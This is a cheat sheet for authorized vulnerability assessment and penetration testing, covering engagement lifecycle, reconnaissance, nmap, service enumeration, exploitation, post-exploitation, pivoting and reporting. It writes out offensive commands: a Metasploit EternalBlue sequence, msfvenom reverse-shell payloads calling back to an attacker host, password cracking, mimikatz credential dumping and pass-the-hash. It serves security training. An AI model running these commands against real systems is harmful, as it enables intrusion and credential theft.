← all cheat sheets
OPERATOR REFERENCE · VA / PENETRATION TESTING

Vulnerability Assessment & Penetration Testing
Scope · Recon · Scan · Exploit · Post-Ex · Report

the engagement lifecycle, the toolkit, and the discipline — one page, authorization-first
⚠ AUTHORIZATION FIRST. Every technique below is for authorized testing only — engagements with a signed scope/Rules of Engagement, your own lab, or a CTF/permission-based range. Scanning, enumerating, or exploiting systems you don't own or have written permission to test is illegal in most jurisdictions (e.g. CFAA, Computer Misuse Act) regardless of intent. Get the scope in writing before the first packet.
Scope note: tool syntax targets current Kali/Parrot builds; flags and plugin/CVE data drift over time — VERIFY against --help and your engagement's Rules of Engagement. VA ≠ pentest: a vulnerability assessment enumerates and rates weaknesses; a penetration test proves exploitability and impact. Know which one you were contracted to deliver.
SCOPE · authorization / RoE
recon
ATTACK · scan / exploit / pivot
prove
REPORT · risk / remediation
01 Vulnerability Assessment vs Penetration Test
DimensionVulnerability Assessment (VA)Penetration Test (PT)
GoalFind & rate as many weaknesses as possible (breadth)Prove real-world exploitability & impact (depth)
MethodMostly automated scanning + validationManual attacker tradecraft, chaining, creativity
OutputPrioritized finding list with CVSS ratingsAttack narrative, proof, business impact, remediation
False positivesCommon — scanner infers from banners/versionsRemoved — a finding is confirmed by exploitation
CadenceFrequent / continuous (weekly, monthly)Point-in-time (quarterly, annual, pre-release)
Answers"What could be wrong here?""What can an attacker actually do?"
Red team ≠ pentest either. A pentest is scoped & comprehensive against a target set; a red team is objective-driven and stealthy (test detection/response, not just find holes). Don't sell one as the other.
02 Engagement Lifecycle (PTES-aligned)
1/7

Pre-Engagement

Scope, Rules of Engagement, target IP/domain list, test window, emergency contacts, "get-out-of-jail" letter, and explicit out-of-scope assets. Nothing starts until this is signed.
2/7

Reconnaissance

Passive first (OSINT, DNS, cert transparency — no packets to target), then active (host discovery). Build the attack surface picture before touching anything loud.
3/7

Scanning & Enumeration

Port/service scan → version fingerprint → per-service enumeration (shares, users, endpoints). Depth here determines quality of everything downstream.
4/7

Exploitation

Turn a finding into access. Prefer the least-destructive path that proves impact. Log every action with timestamps for the report and for deconfliction.
5/7

Post-Exploitation

Privilege escalation, credential harvesting, lateral movement, and demonstrating business impact (reach the "crown jewels" defined in scope) — not gratuitous damage.
6/7

Reporting

Executive summary + technical detail, each finding with evidence, CVSS, business risk, and concrete remediation. The report is the deliverable — access was just how you earned it.
7/7

Cleanup & Retest

Remove all artifacts (payloads, accounts, shells), hand back changed state, and re-test after the client remediates to confirm the fix actually closed it.

Frameworks to Cite

PTES (this lifecycle), OWASP WSTG (web), OWASP MASTG (mobile), MITRE ATT&CK (map TTPs), NIST SP 800-115, OSSTMM. Reference them — it signals rigor.
03 Reconnaissance — Passive & Active
PS

Passive OSINT

no traffic to target
whois example.com dig example.com ANY +noall +answer theHarvester -d example.com -b all amass enum -passive -d example.com
Cert transparency (crt.sh), Shodan, Google dorks, LinkedIn for user naming conventions. Passive = attacker leaves no footprint on the target.
SE

Subdomain / Attack Surface

amass enum -d example.com subfinder -d example.com -all assetfinder example.com httpx -l hosts.txt -title -tech-detect
Enumerate subdomains → probe which are alive → fingerprint tech stack. Shadow IT and forgotten dev hosts are where the wins usually are.
HD

Active Host Discovery

nmap -sn 10.10.10.0/24 # ping sweep nmap -sn -PS22,80,443 10.10.10.0/24 fping -a -g 10.10.10.0/24 2>/dev/null arp-scan --localnet # same L2
First active step — which hosts are up before you spend time port-scanning dead space. arp-scan is most reliable on a local segment.
04 Nmap — Port Scanning & Service Detection
PurposeCommandNotes
Fast top-1000 TCPnmap 10.10.10.5Default SYN scan (needs root) — top 1000 ports
All TCP portsnmap -p- 10.10.10.5Full 65535 — slower but complete; don't trust a top-1000 scan alone
Service + versionnmap -sV -sC 10.10.10.5-sV version detect, -sC default safe NSE scripts
OS + traceroute + scriptsnmap -A 10.10.10.5Aggressive — loud; combines OS detect, version, scripts, traceroute
UDP (top ports)nmap -sU --top-ports 100 10.10.10.5Slow & unreliable but DNS/SNMP/TFTP live here — don't skip
Timing / stealthiernmap -T2 -p- 10.10.10.5-T0..T5; lower = slower & quieter, higher = faster & noisier
Targeted NSE categorynmap --script vuln 10.10.10.5Runs known-vuln checks; --script-help <name> before you trust it
Output all formatsnmap -sV -oA scan 10.10.10.5-oA writes .nmap/.gnmap/.xml — feed XML into other tools
Read state honestly: open service listening · filtered firewall dropped the probe (no verdict) · closed host up, nothing listening. "Filtered" is not "safe" — it means you couldn't see.
05 Service Enumeration — Per Protocol
445

SMB (139/445)

enum4linux-ng -A 10.10.10.5 smbclient -L //10.10.10.5 -N crackmapexec smb 10.10.10.5 -u '' -p '' nmap --script smb-enum-shares,smb-os-discovery
Null sessions, share listing, OS/domain info, and signing status. Historically the richest internal enumeration surface.
80

HTTP/HTTPS (80/443)

whatweb http://10.10.10.5 nikto -h http://10.10.10.5 gobuster dir -u http://10.10.10.5 -w wordlist.txt ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt
Fingerprint stack, spider for hidden dirs/files, check headers, robots.txt, backups (.bak, .git). See section 08 for the web app depth.
DNS

DNS (53)

dig axfr @ns1.example.com example.com dnsrecon -d example.com -t axfr nmap --script dns-zone-transfer -p53 10.10.10.5
Zone transfer (AXFR) misconfig hands you the whole namespace. Also check for subdomain takeover on dangling CNAMEs.
SNMP

SNMP (161/udp)

onesixtyone -c community.txt 10.10.10.5 snmpwalk -v2c -c public 10.10.10.5 snmp-check 10.10.10.5
Default community strings (public/private) leak interfaces, routes, processes, sometimes credentials. UDP — easy to miss.
LDAP

LDAP / AD (389/636)

ldapsearch -x -H ldap://10.10.10.5 -s base nmap --script ldap-rootdse -p389 10.10.10.5 bloodhound-python -d corp.local -u user -p pass -c all
Anonymous binds, naming context, and — with any creds — BloodHound to map AD attack paths to Domain Admin.
SSH

SSH / FTP / SMTP

nc -nv 10.10.10.5 22 # banner ftp 10.10.10.5 # try anonymous smtp-user-enum -M VRFY -U users.txt -t 10.10.10.5
Banner-grab versions, test anonymous FTP, SMTP user enumeration (VRFY/EXPN/RCPT). Match versions to known CVEs.
06 Vulnerability Scanning & Validation
SC

Scanners

Nessus / Tenable, Qualys, Rapid7 InsightVM (commercial); OpenVAS / Greenbone (open source). Run credentialed where possible — an authenticated scan inventories real patch state instead of guessing from banners.
NM

Nmap / Nuclei Quick Checks

nmap --script vuln 10.10.10.5 nuclei -u https://10.10.10.5 -t cves/ searchsploit apache 2.4.49
nuclei is fast, template-driven, low-noise. searchsploit maps a version to public exploit PoCs (offline Exploit-DB).

Validate Before You Report

A scanner hit is a hypothesis. Confirm the version, confirm the config precondition, and — for a pentest — prove it. Unvalidated scanner output shipped as findings destroys credibility.
False positives are the #1 reason clients distrust a VA report. Triage every High/Critical by hand.
CVSS v3.1 BandScoreTypical SLA to remediate
Critical9.0 – 10.0Emergency — hours to a few days; often RCE / unauth
High7.0 – 8.9Days to ~2 weeks
Medium4.0 – 6.9~30 days
Low0.1 – 3.9Next maintenance cycle / risk-accept
Base score isn't the whole story. Adjust with Temporal (is there a public exploit? a patch?) and Environmental (is the asset internet-facing? does it hold sensitive data?) metrics — and cross-check CISA KEV for what's being exploited in the wild now.
07 Exploitation — Metasploit, Password Attacks, Payloads
MSF

Metasploit Framework

msfconsole -q search type:exploit smb use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.5 set LHOST 10.10.14.2 show options ; check ; exploit
check (where supported) tests exploitability without firing — prefer it before a live shot on production. Use set PAYLOAD to pick meterpreter vs a plain shell.
Exploits crash services. On production, get explicit sign-off for anything that can DoS, and have the client's rollback plan ready.
PW

Password / Credential Attacks

hydra -l admin -P rockyou.txt ssh://10.10.10.5 crackmapexec smb 10.10.10.5 -u users -p passwords john --wordlist=rockyou.txt hashes.txt hashcat -m 1000 ntlm.txt rockyou.txt # NTLM
Online (hydra/CME — rate-limited, lockout risk) vs offline (john/hashcat — crack captured hashes). Know the -m hash mode; check lockout policy before spraying.
Password spraying (1 password × many users) beats brute force for avoiding lockouts — but coordinate timing with the client.
PL

Payloads — msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=10.10.14.2 LPORT=443 -f exe -o s.exe msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=10.10.14.2 LPORT=443 -f elf -o s.elf
Generate stand-alone payloads; catch with a multi/handler. Match arch/OS to the target. Port 443 blends with normal egress.
RS

Reverse Shells & Listeners

# listener nc -lvnp 443 rlwrap nc -lvnp 443 # arrow keys/history # stabilize a caught shell python3 -c 'import pty;pty.spawn("/bin/bash")'
Then Ctrl-Zstty raw -echo; fgexport TERM=xterm for a fully interactive TTY. See revshells.com for one-liners per language.
08 Web Application Testing (OWASP)
OWASP Top 10 (2021)What to TestTool / Technique
A01 Broken Access ControlIDOR, forced browsing, privilege bypass, missing authzBurp — swap IDs/roles, replay another user's request
A02 Crypto FailuresWeak TLS, plaintext secrets, weak hashingtestssl.sh, sslscan
A03 InjectionSQLi, command, LDAP, NoSQL injectionsqlmap -u URL --batch, manual payloads
A04 Insecure DesignLogic flaws, missing rate limits, abuse casesManual — no scanner finds business-logic bugs
A05 Security MisconfigDefault creds, dir listing, verbose errors, headersnikto, nuclei, header review
A06 Vulnerable ComponentsOutdated libs/frameworks with known CVEsretire.js, dependency scan, version match
A07 Auth FailuresWeak passwords, session fixation, no MFA, JWT flawsBurp Intruder, jwt_tool
A08 Integrity FailuresInsecure deserialization, unsigned updates, CI/CDysoserial, manual review
A09 Logging FailuresNo audit trail, no alerting on attack trafficObserve whether your noise triggers any response
A10 SSRFServer fetches attacker-controlled URLsBurp Collaborator / OOB interaction, internal probes
Burp Suite is the web workhorse: intercepting proxy, Repeater (manual replay), Intruder (fuzzing/enum), and Collaborator (out-of-band). Follow the OWASP Web Security Testing Guide (WSTG) for full coverage. Manual review finds what scanners never will — logic and access-control flaws.
09 Post-Exploitation — PrivEsc, Loot, Lateral Movement
LX

Linux Privilege Escalation

id ; sudo -l ; uname -a find / -perm -4000 2>/dev/null # SUID ./linpeas.sh getcap -r / 2>/dev/null
Check sudo rights, SUID/SGID binaries, cron jobs, writable paths, kernel version. Cross-reference SUID binaries against GTFOBins for a known escalation.
WX

Windows Privilege Escalation

whoami /priv ; whoami /groups .\winPEASany.exe systeminfo # missing patches # dump creds (with authorization) mimikatz # sekurlsa::logonpasswords
Token privileges (SeImpersonate → potato attacks), unquoted service paths, AlwaysInstallElevated, stored creds. LSASS dumping is high-impact — expect EDR to flag it.
LM

Lateral Movement (AD)

crackmapexec smb 10.10.10.0/24 -u u -H <hash> evil-winrm -i 10.10.10.6 -u user -H <hash> impacket-psexec corp/user@10.10.10.6
Pass-the-Hash, WinRM, PsExec. Map paths to Domain Admin with BloodHound before moving — pick the shortest, quietest route defined in scope.
PV

Pivoting & Tunneling

ssh -D 1080 user@jumpbox # SOCKS proxy proxychains nmap -sT 10.20.0.5 chisel server -p 8000 --reverse ligolo-ng / sshuttle -r user@host 10.20.0.0/24
Reach segmented internal networks through a foothold. proxychains + a SOCKS proxy tunnels your tools through the compromised host.
10 Reporting — The Actual Deliverable
01

Executive Summary

One page, no jargon, for leadership. Overall risk posture, count by severity, top 3 business risks, and whether objectives were met. They decide budget from this page.
02

Per-Finding Detail

Title, severity + CVSS vector, affected assets, reproduction steps, evidence (screenshots/output), impact, and specific remediation. Reproducible or it isn't a finding.
03

Risk, Not Just Bugs

Rate by business impact × likelihood, not raw CVSS alone. A medium CVE on an internet-facing crown-jewel outranks a critical on an isolated lab box.
04

Actionable Remediation

"Patch to 2.4.51", "disable SMBv1", "enforce parameterized queries" — concrete and testable, not "improve security posture". Include quick wins vs strategic fixes.
05

Attack Narrative

For a pentest: tell the chain story — initial foothold → escalation → lateral → objective. Shows how low-severity issues combined into a critical outcome.
06

Retest & Attestation

After remediation, re-test and issue a delta/attestation letter confirming what's fixed vs outstanding — often the artifact compliance/audit actually wants.
11 Rules of Engagement & Safety Discipline
DisciplineWhy It Matters
Stay strictly in scopeOne IP outside the authorized range can be a criminal act and voids the whole engagement's legal cover
Log everything, timestampedFor the report, for deconfliction if the SOC investigates your traffic, and to prove you didn't cause an unrelated outage
Get sign-off before DoS-risk actionsExploits, brute force, and some scans crash services — never test a fragile production system's stability by accident
Protect data you accessYou may touch real PII/secrets — handle per contract, encrypt findings, don't exfil more than needed to prove impact
Have an emergency contact + stop conditionIf you cause an outage or find an active breach, you need a defined channel to halt and escalate immediately
Clean up every artifactShells, added accounts, uploaded tools, config changes — leaving these is the vulnerability you were hired to find
Handle "found a real breach"RoE should define this up front — you may stumble on a genuine active attacker; know who to tell and when to stop
12 Toolkit Quick Index
PhaseGo-To Tools
Recon / OSINTamass · subfinder · theHarvester · Shodan · crt.sh · httpx · dnsrecon
Scanningnmap · masscan · nuclei · Nessus/OpenVAS · rustscan
Enumerationenum4linux-ng · crackmapexec · smbclient · gobuster · ffuf · snmpwalk · ldapsearch
WebBurp Suite · OWASP ZAP · sqlmap · nikto · wpscan · ffuf
ExploitationMetasploit · msfvenom · searchsploit · Exploit-DB · hydra · john · hashcat
AD / Post-ExBloodHound · impacket · evil-winrm · mimikatz · linPEAS/winPEAS · GTFOBins
Pivotingproxychains · chisel · ligolo-ng · sshuttle
ReportingCVSS calculator · CISA KEV · Dradis · PlexTrac · SysReptor
Distros: Kali Linux and Parrot OS ship most of the above. Practice legally: HackTheBox, TryHackMe, PortSwigger Web Security Academy, VulnHub, OWASP Juice Shop, and DVWA — your own lab or a permission-based range, never someone else's live estate.